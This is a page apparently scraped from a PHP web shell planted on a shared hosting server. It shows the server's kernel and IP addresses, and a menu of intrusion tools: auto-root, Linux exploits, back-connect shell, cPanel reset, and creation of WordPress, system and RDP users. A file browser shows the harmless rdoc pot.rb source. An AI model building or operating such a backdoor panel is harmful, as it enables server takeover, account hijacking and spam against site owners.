Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 18.191.71.190
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby31 /
share /
gems /
gems /
rdoc-6.4.1.1 /
lib /
rdoc /
generator /
[ HOME SHELL ]
Name
Size
Permission
Action
pot
[ DIR ]
drwxr-xr-x
template
[ DIR ]
drwxr-xr-x
darkfish.rb
20.26
KB
-rw-r--r--
json_index.rb
7.63
KB
-rw-r--r--
markup.rb
3.26
KB
-rw-r--r--
pot.rb
2.25
KB
-rw-r--r--
ri.rb
464
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pot.rb
# frozen_string_literal: true ## # Generates a POT file. # # Here is a translator work flow with the generator. # # == Create .pot # # You create .pot file by pot formatter: # # % rdoc --format pot # # It generates doc/rdoc.pot. # # == Create .po # # You create .po file from doc/rdoc.pot. This operation is needed only # the first time. This work flow assumes that you are a translator # for Japanese. # # You create locale/ja/rdoc.po from doc/rdoc.pot. You can use msginit # provided by GNU gettext or rmsginit provided by gettext gem. This # work flow uses gettext gem because it is more portable than GNU # gettext for Rubyists. Gettext gem is implemented by pure Ruby. # # % gem install gettext # % mkdir -p locale/ja # % rmsginit --input doc/rdoc.pot --output locale/ja/rdoc.po --locale ja # # Translate messages in .po # # You translate messages in .po by a PO file editor. po-mode.el exists # for Emacs users. There are some GUI tools such as GTranslator. # There are some Web services such as POEditor and Tansifex. You can # edit by your favorite text editor because .po is a text file. # Generate localized documentation # # You can generate localized documentation with locale/ja/rdoc.po: # # % rdoc --locale ja # # You can find documentation in Japanese in doc/. Yay! # # == Update translation # # You need to update translation when your application is added or # modified messages. # # You can update .po by the following command lines: # # % rdoc --format pot # % rmsgmerge --update locale/ja/rdoc.po doc/rdoc.pot # # You edit locale/ja/rdoc.po to translate new messages. class RDoc::Generator::POT RDoc::RDoc.add_generator self ## # Description of this generator DESCRIPTION = 'creates .pot file' ## # Set up a new .pot generator def initialize store, options #:not-new: @options = options @store = store end ## # Writes .pot to disk. def generate po = extract_messages pot_path = 'rdoc.pot' File.open(pot_path, "w") do |pot| pot.print(po.to_s) end end def class_dir nil end private def extract_messages extractor = MessageExtractor.new(@store) extractor.extract end require_relative 'pot/message_extractor' require_relative 'pot/po' require_relative 'pot/po_entry' end
Close